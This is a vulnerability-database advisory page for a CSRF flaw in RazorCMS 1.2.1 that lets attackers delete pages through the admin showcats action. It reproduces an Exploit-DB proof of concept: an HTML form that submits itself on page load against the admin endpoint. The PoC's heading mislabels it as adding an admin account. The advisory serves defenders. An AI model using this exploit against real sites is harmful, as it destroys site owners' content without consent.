CVE-2012-1900

medium
Published 2012-10-22 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
7.8

Description

Cross-site request forgery (CSRF) vulnerability in admin/index.php in RazorCMS 1.2.1 and earlier allows remote attackers to hijack the authentication of administrators for requests that delete arbitrary web pages via a showcats action.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-18575 webapps php text ยท 2 KB
Ivano Binetti ยท 2012-03-08

RazorCMS 1.2.1 Stable - Cross-Site Request Forgery (Delete Web Pages)

text exploit Source: Exploit-DB
+------------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : RazorCMS <= 1.2.1 STABLE CSRF (Delete Web Pages)
# Date          : 08-03-2012
# Author        : Ivano Binetti (http://www,ivanobinetti.com)
# Software link : http://www.razorcms.co.uk/archive/core/razorCMS_core_v1_2_1_STABLE.zip
# Vendor site   : http://www.razorcms.co.uk/
# Version       : 1.2.1 STABLE and lower 
# Tested on     : Debian Squeeze (6.0) 
+------------------------------------------------------------------------------------------------------------------------------------+

Summary
1)Introduction
2)Vulnerabilities Description
3)Exploit (Delete Web Page) 
  
+------------------------------------------------------------------------------------------------------------------------------------+
1)Introduction
"razorCMS is ideally suited to small to medium website projects, it can be run without need for a database, due to it's flat file
structure it has no need for a database meaning it can also be a cost effected method in content management, allowing it to be 
used on the cheapest of web hosts, or even free hosting".

2)Vulnerabilities Description
RazorCMS 1.2.1 STABLE (and lower)  is affected by CSRF Vulnerability which allows an attacker to delete web pages, both published 
and unpublished.

3)Exploit (Delete Web Page)  
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to add ADMIN account</H2>
<form method="POST" name="form0" action="http://<razorcms_ip>:80/razorcms/admin/?action=showcats&unpub=true&slabID=2&catname=sidebar">
</body>
</html>

In this POC I've deleted web page with ID=2 
 
+------------------------------------------------------------------------------------------------------------------------------------+
  

Application impact

VendorProductVersionsFixed
razorcmsrazorcms{"endIncluding":"1.2.1"}
razorcmsrazorcms0.2
razorcmsrazorcms0.3
razorcmsrazorcms0.4
razorcmsrazorcms1.0
razorcmsrazorcms1.1
razorcmsrazorcms1.2

References

CWEs

CWE-352

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.